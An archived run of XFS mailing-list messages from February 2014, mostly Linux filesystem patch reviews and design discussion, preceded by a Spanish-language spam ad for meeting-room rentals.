RECEPCION DE PROVEEDORES Date: Thu, 6 Feb 2014 01:24:24 -0600 X-ASG-Orig-Subj: APOYO A MIPYME; 50% descuento RENTAMOS SALONES; LOS MEJORES PRECIOS: JUNTAS, CAPACITACIONES, CONFERENCIAS, RECLUTAMIENTO, COACHING, RECEPCION DE PROVEEDORES MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_FD96CE72.6CC7CB68" Message-ID: Received-SPF: SoftFail (TLCEX02.THELIFECO.COM: domain of transitioning SALONESPARACAPACITACION@GMAIL.COM discourages use of 187.162.46.68 as permitted sender) X-Barracuda-Connect: tlcex02.thelifeco.com[77.79.66.212] X-Barracuda-Start-Time: 1391668069 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 10ee484e3ac5d604be0f30ded3fbfd29-4233-htm X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.09 X-Barracuda-Spam-Status: No, SCORE=1.09 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA148a, HOTEL, HTML_IMAGE_RATIO_06, HTML_MESSAGE, NO_REAL_NAME, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 HOTEL BODY: hotel 0.10 BSF_SC0_SA148a URI: Custom Rule SA148a 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase ------=_NextPart_000_0012_FD96CE72.6CC7CB68 Content-Type: text/plain Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- ------=_NextPart_000_0012_FD96CE72.6CC7CB68 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit --------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------

APOYO A MIPYME; RENTAMOS SALONES;
50% descuento sobre precios de lista

¡LOS MEJORES PRECIOS!

RENTAMOS SALONES PARA
; JUNTAS, CAPACITACIONES, CONFERENCIAS, RECLUTAMIENTO, COACHING, RECEPCION DE PROVEEDORES. CONVENCIONES, CONGRESOS, EXPOS.
NUESTROS PRECIOS ESTAN 80% ABAJO DE LOS HOTELES. WTC, CENTRO BANAMEX, CENTRO BANCOMER.


TENEMOS MÀS DE 30 SALONES, DESDE 5 Y HASTA 150 PERSONAS (EN CONFERENCIA).
OJO; AQUI NO HAY MANIFESTACIONES NI PLANTONES

ATENCION PERSONAL DE: PAOLA FEMAT; COORDINADORA DE EVENTOS Y RELACIONES PUBLICAS.
LA MEJOR COMUNICACION DE LA CIUDAD.

  • LOS SALONES MAS BELLOS DE LA CIUDAD
  • LA MAYOR SEGURIDAD
  • LA MEJOR UBICACION
  • METROBUS
  • METRO LINEA DORADA
  • TROLEBUS
  • TAXIS SEGUROS
  • SUPER SEGURO A PIE, EN COCHE, ETC.

ESTAMOS EN; INSURGENTES SUR 1223  (CASI ESQUINA SUR DEL PARQUE HUNDIDO),

TELS; 56119709, 56111841, 55986212 Y 55637420
MAILS; RENTA.SALONES@OYAPAC.COM.MX


--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
(This safeguard is not inserted when using the registered version)
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
--------------------------------------------------------------------
------=_NextPart_000_0012_FD96CE72.6CC7CB68-- From BATV+dfd5975cefc7085461f2+3819+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 6 00:38:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1B9567F54 for ; Thu, 6 Feb 2014 00:38:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0BE308F8037 for ; Wed, 5 Feb 2014 22:38:01 -0800 (PST) X-ASG-Debug-ID: 1391668678-04cb6c6de21644b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ovfzEWOqE3OLHQPm (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Feb 2014 22:37:58 -0800 (PST) X-Barracuda-Envelope-From: BATV+dfd5975cefc7085461f2+3819+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WBIb0-0001Ku-3n; Thu, 06 Feb 2014 06:37:58 +0000 Date: Wed, 5 Feb 2014 22:37:58 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct log item buffer alignment Message-ID: <20140206063757.GA1023@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct log item buffer alignment References: <1391667442-30822-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391667442-30822-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391668678 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From david@fromorbit.com Thu Feb 6 00:43:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 892BE7F54 for ; Thu, 6 Feb 2014 00:43:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1811AAC003 for ; Wed, 5 Feb 2014 22:43:43 -0800 (PST) X-ASG-Debug-ID: 1391669021-04bdf01220175690001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id m2cfGNR9PAOxxoK5 for ; Wed, 05 Feb 2014 22:43:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmkHAM8u81J5LGaB/2dsb2JhbABZgwyDPrZvhVCBBRd0giUBAQQBJxMcIwULCAMOCgklDwUlAyETh30HzlUXFo4IVweEOASYKpIig0EogS0BHgY Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Feb 2014 17:13:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WBIg6-0007Ks-9W; Thu, 06 Feb 2014 17:43:14 +1100 Date: Thu, 6 Feb 2014 17:43:14 +1100 From: Dave Chinner To: Brian Foster Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption Message-ID: <20140206064314.GM13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption References: <52E88D8B.90208@redhat.com> <52EAB56D.2050203@redhat.com> <52EAB66E.204@redhat.com> <52EABBF8.5070309@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EABBF8.5070309@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391669021 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 30, 2014 at 03:54:16PM -0500, Brian Foster wrote: > On 01/30/2014 03:30 PM, Eric Sandeen wrote: > > On 1/30/14, 2:26 PM, Brian Foster wrote: > >>> diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > >>>> index 511cce9..b575317 100644 > >>>> --- a/fs/xfs/xfs_sb.c > >>>> +++ b/fs/xfs/xfs_sb.c > >>>> @@ -617,6 +617,8 @@ xfs_sb_read_verify( > >>>> /* Only fail bad secondaries on a known V5 filesystem */ > >>>> if (bp->b_bn != XFS_SB_DADDR && > >>>> xfs_sb_version_hascrc(&mp->m_sb)) { > >>>> + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > >>>> + mp, bp->b_addr); > >>>> error = EFSCORRUPTED; > >>>> goto out_error; > >>>> } > >>>> @@ -625,12 +627,8 @@ xfs_sb_read_verify( > >>>> error = xfs_sb_verify(bp, true); > >>>> > >>>> out_error: > >>>> - if (error) { > >>>> - if (error != EWRONGFS) > >>>> - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > >>>> - mp, bp->b_addr); > >>>> + if (error) > >>>> xfs_buf_ioerror(bp, error); > >>>> - } > >>>> } > >> ... but why not leave the corruption output here in out_error, change > >> the check to (error == EFSCORRUPTED) and remove the now duplicate > >> corruption message in xfs_mount_validate_sb() (or replace it with a > >> warn/notice message)? This would catch the other EFSCORRUPTED returns in > >> a consistent manner, including another potential duplicate in the write > >> verifier. I guess we'd lose a little specificity between the crc failure > >> and sb validation, but we could add a warn/notice for the former too. > >> > >> Brian > >> > > > > Well, I went back and forth on this. It's probably philosophical. ;) > > > > Should we emit the corruption error at the point of corruption detection, > > or at a higher level? I guess my concern was that while *this* caller > > might catch the return & yell, if another caller got added it might not. > > > > Putting it at the point of detection seemed foolproof in that regard. > > > > Yeah, that makes sense too. If we were consistent, that model would > suggest the write verifier corruption message could go and we'd embed > corruption errors along with the other associated EFSCORRUPTED returns > (at least where the resulting message is appropriate) in > xfs_mount_validate_sb(). > > Either way seems reasonable to me. I guess if all the remaining > situations are in fact real corruption situations, the point of > detection approach is probably more resilient. It would still be nice to > make the verifiers consistent in that though. ;) And the conclusion to this discussion is ...? Cheers, Dave. -- Dave Chinner david@fromorbit.com From kmo@daterainc.com Thu Feb 6 03:07:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9FFD37F54 for ; Thu, 6 Feb 2014 03:07:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7BBAF30406B for ; Thu, 6 Feb 2014 01:07:15 -0800 (PST) X-ASG-Debug-ID: 1391677630-04cbb00c29161350001-NocioJ Received: from mail-oa0-f43.google.com (mail-oa0-f43.google.com [209.85.219.43]) by cuda.sgi.com with ESMTP id 3jdoOkOSxDKEciaz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 01:07:11 -0800 (PST) X-Barracuda-Envelope-From: kmo@daterainc.com X-Barracuda-Apparent-Source-IP: 209.85.219.43 Received: by mail-oa0-f43.google.com with SMTP id h16so1968651oag.16 for ; Thu, 06 Feb 2014 01:07:10 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=Sv3YYmesj30WoHBMze86Oo/GfiOzHU5/Ke9fM9/da90=; b=hOxe7Q2W0Jt4GAtE7WFRq2CSpm+XoLpy7E6jQ43LHkVBiV6VBrqQH5eqha5URU2Hyu o5vJXZ/gHRH+PJux4z6MD7xl7qFpx1E0yHHylH4tlWLSe46jz2aFfzVGeWJXY3GqQ63k 3VZw2kbVbTvTtaBKIWapv8pfL8ESwDVjiy9iHh2AEYwZFCPLbB5NiCLma25g7HQWE7Ep xvlzC/iTP4yP1UVGL6NVSRaEn1mYfnOo+rJf1kxzEUoXs+m/lE4JItk0bHUJ+ZmSb58D senfeIFL6FNFMUqER/BZTZBA2w5SCioqxJKH6jnvMiUKWPmKmmxKkjvbtlBQXx7LYT31 8TMA== X-Gm-Message-State: ALoCoQnm4DqKwIAMcQSJvrVxVvGaAt9t4U/ah7GUOKx/qSl7b5uVD4vUNakk+04BCAoktegBqHfe X-Received: by 10.182.158.71 with SMTP id ws7mr5735047obb.6.1391677630398; Thu, 06 Feb 2014 01:07:10 -0800 (PST) Received: from kmo-pixel ([172.56.13.93]) by mx.google.com with ESMTPSA id r6sm511098obi.14.2014.02.06.01.06.52 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Thu, 06 Feb 2014 01:07:09 -0800 (PST) Date: Thu, 6 Feb 2014 01:08:32 -0800 From: Kent Overstreet To: Al Viro Cc: Zach Brown , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140206090832.GC12440@kmo-pixel> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> <20140204180040.GI10323@ZenIV.linux.org.uk> <20140204183356.GB11325@lenny.home.zabbo.net> <20140204183609.GK10323@ZenIV.linux.org.uk> <20140205195838.GO10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140205195838.GO10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-oa0-f43.google.com[209.85.219.43] X-Barracuda-Start-Time: 1391677631 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144886 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 05, 2014 at 07:58:38PM +0000, Al Viro wrote: > BTW, why do we still have generic_segment_checks()? > AFAICS, *all* paths leading to any ->aio_read/->aio_write > instances are either > 1) with KERNEL_DS (and base/len are verifiably sane in those > cases), or > 2) have iovec come from successful {compat,}rw_copy_check_uvector() > and through rw_verify_area(), or > 3) have single-element iovec with access_ok()/rw_verify_area() > checked directly, or > 4) have single-element iovec with base/len unchanged from > what had been passed to some ->read() or ->write() instance, in which > case the caller of that ->read() or ->write() has done access_ok/rw_verify_area > > And yes, I can prove that for the current tree, modulo a couple of dumb > bugs with unchecked values coming via read_code(). Which is called > a couple of times per a.out execve() and should be using vfs_read() instead > of blindly calling ->read() - it's *not* a hot path and never had been one. > With that fixed, we have the following: and call of any instance of > ->read()/->write()/->aio_read()/->aio_write() (be it direct or via method) > is guaranteed that > * all segments it's asked to read/write will satisfy access_ok(). > * all segments it's asked to read/write will have non-negative > lengths. > * total size of all segments will be at most MAX_RW_COUNT. > * file offset won't go from negative to zero in the combined area; > unless the file has FMODE_UNSIGNED_OFFSET in ->f_mode, it won't go from > positive to negative either. > > So what exactly does generic_segments_check() give us? Is it just that > everybody went "well, maybe there's some weird path where we don't do > validation; let's leave it there"? Linus? I came to the same conclusion awhile ago - I'm pretty sure it can be safely dropped (I think I even have such a patch in one of my branches...) Anyways, copy_check_uvector() is the correct place for all that stuff anyways - it's taking a __user type and producing a type without the __user attribute, so if there was any validation missing there that's where it should go. I vaguelly recall converting some SCSI related code to use copy_check_uvector() instead of its own (open coded?) thing, if that patch made it upstream that could've been a place that at one point in time did need the generic_segment_checks() call. From ddiss@suse.de Thu Feb 6 04:03:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C894F7F53 for ; Thu, 6 Feb 2014 04:03:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 50271AC003 for ; Thu, 6 Feb 2014 02:03:55 -0800 (PST) X-ASG-Debug-ID: 1391681032-04cb6c6de3169990001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id mCZiXqeQyDFIk19g (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Feb 2014 02:03:53 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DB19CAAD0; Thu, 6 Feb 2014 10:03:51 +0000 (UTC) Date: Thu, 6 Feb 2014 11:03:48 +0100 From: David Disseldorp To: Dave Chinner Cc: xfs@oss.sgi.com, dsterba@suse.cz, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 1/2] btrfs: add small program for clone testing Message-ID: <20140206110348.10c44bae@plati.site> X-ASG-Orig-Subj: Re: [PATCH 1/2] btrfs: add small program for clone testing In-Reply-To: <20140205230936.GI13997@dastard> References: <1391599009-2402-1-git-send-email-ddiss@suse.de> <1391599009-2402-2-git-send-email-ddiss@suse.de> <20140205230936.GI13997@dastard> X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.22; x86_64-suse-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391681033 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144887 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, On Thu, 6 Feb 2014 10:09:36 +1100, Dave Chinner wrote: > On Wed, Feb 05, 2014 at 12:16:48PM +0100, David Disseldorp wrote: > > The cloner program is capable of cloning files using the BTRFS_IOC_CLONE > > and BTRFS_IOC_CLONE_RANGE ioctls. > > > > Signed-off-by: David Disseldorp > > Hi Dave - long time since I've seen your head pop up around here ;) Indeed, it's been a while. Thanks for the review :) > > A few comments below. > > > +struct btrfs_ioctl_clone_range_args { > > + int64_t src_fd; > > + uint64_t src_offset; > > + uint64_t src_length; > > + uint64_t dest_offset; > > +}; > > + > > +#define BTRFS_IOCTL_MAGIC 0x94 > > +#define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) > > +#define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ > > + struct btrfs_ioctl_clone_range_args) > > Is there some published header file that these belong to? i.e. > somewhere in the include/linux/uapi/ kernel directory? Normally the > way to handle this sort of thing is by autoconf - if the header file > exists, then we include it, otherwise we use the manual definitions. > This just means that if the public api ever changes, we'll pick it > up automatically in future... I'd wanted to avoid the addition of another xfsqa prereq, but I guess it'll work with the fall-back. I'll add the autoconf logic to the next round, along with changes addressing your other remarks. Cheers, David From bfoster@redhat.com Thu Feb 6 07:09:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 62EFC7F54 for ; Thu, 6 Feb 2014 07:09:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 583708F8073 for ; Thu, 6 Feb 2014 05:09:41 -0800 (PST) X-ASG-Debug-ID: 1391692176-04cb6c6de0171490001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Giycukp0q8rwcHG2 for ; Thu, 06 Feb 2014 05:09:37 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s16D9aao022284 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 6 Feb 2014 08:09:36 -0500 Received: from laptop.bfoster (vpn-62-13.rdu2.redhat.com [10.10.62.13]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s16D9Zcf015665 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Thu, 6 Feb 2014 08:09:36 -0500 Message-ID: <52F3898F.8020304@redhat.com> Date: Thu, 06 Feb 2014 08:09:35 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix attribute leaf output for ATTR3 format References: <1391587365-5066-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_db: fix attribute leaf output for ATTR3 format In-Reply-To: <1391587365-5066-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391692176 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/05/2014 03:02 AM, Dave Chinner wrote: > From: Dave Chinner > > attr3_leaf_entries_count() checks against the wrong magic number. > hence returns zero for an entry count when it should be returning a > value. Fixing this makes xfs/021 pass on CRC enabled filesystems. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > db/attr.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/db/attr.c b/db/attr.c > index 740d564..caa154e 100644 > --- a/db/attr.c > +++ b/db/attr.c > @@ -170,7 +170,7 @@ attr3_leaf_entries_count( > struct xfs_attr3_leafblock *leaf = obj; > > ASSERT(startoff == 0); > - if (be16_to_cpu(leaf->hdr.info.hdr.magic) != XFS_ATTR_LEAF_MAGIC) > + if (be16_to_cpu(leaf->hdr.info.hdr.magic) != XFS_ATTR3_LEAF_MAGIC) > return 0; > return be16_to_cpu(leaf->hdr.count); > } > From wangshilong1991@gmail.com Thu Feb 6 07:12:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5DBF37F54 for ; Thu, 6 Feb 2014 07:12:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2E62C8F8050 for ; Thu, 6 Feb 2014 05:12:56 -0800 (PST) X-ASG-Debug-ID: 1391692375-04bdf0121d183760001-NocioJ Received: from mail-pd0-f173.google.com (mail-pd0-f173.google.com [209.85.192.173]) by cuda.sgi.com with ESMTP id LEQVTFFLRX1JEKEu (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 06 Feb 2014 05:12:56 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.173 Received: by mail-pd0-f173.google.com with SMTP id y10so1675924pdj.4 for ; Thu, 06 Feb 2014 05:12:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=acolfxkNTpRsJHRkK80TZQ/COkWaPdU/NOR6eP+u028=; b=OuwSJuMQ2zASPCRRgP/WJc3v7djppASQP6KNqZPsM6F5auK+es12DCTNL5KbrhTbCr VGOGLaXAmmCrAD8qzaHBZtS5K0PVl2K2GvzWdjBDpvhIThHKmWl6qEmdKcwJ65gYIL6d Z+0bX2lCZwXwiJ+wUOwN3PbhPudUqUcEKaxSyA/PPOjS7yegmdm5/v9+SWDr9QEMasng Oa6ST3Ay4XPHng+ZrQI1lbV1q2Kcr2mAGMSeI+OhcFJBaMNJ/D4kGgP5I28toFUGBHk6 58yoYlMs4ySbf6PdPMtIM/q2EkMT6p2qTYhgbsLq/FXOrOrINVtx9Rmv2Tk7oiSllvrn hPaQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.190.169 with SMTP id gr9mr12466340pbc.30.1391692375485; Thu, 06 Feb 2014 05:12:55 -0800 (PST) Received: from promote.cache-dns.local ([223.65.190.181]) by mx.google.com with ESMTPSA id fk4sm6728124pab.23.2014.02.06.05.12.53 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 06 Feb 2014 05:12:54 -0800 (PST) Content-Type: text/plain; charset=GB2312 X-Barracuda-Apparent-Source-IP: 223.65.190.181 Mime-Version: 1.0 (Mac OS X Mail 6.2 \(1499\)) Subject: Re: [PATCH] Btrfs: add regression test for running snapshot and send concurrently From: 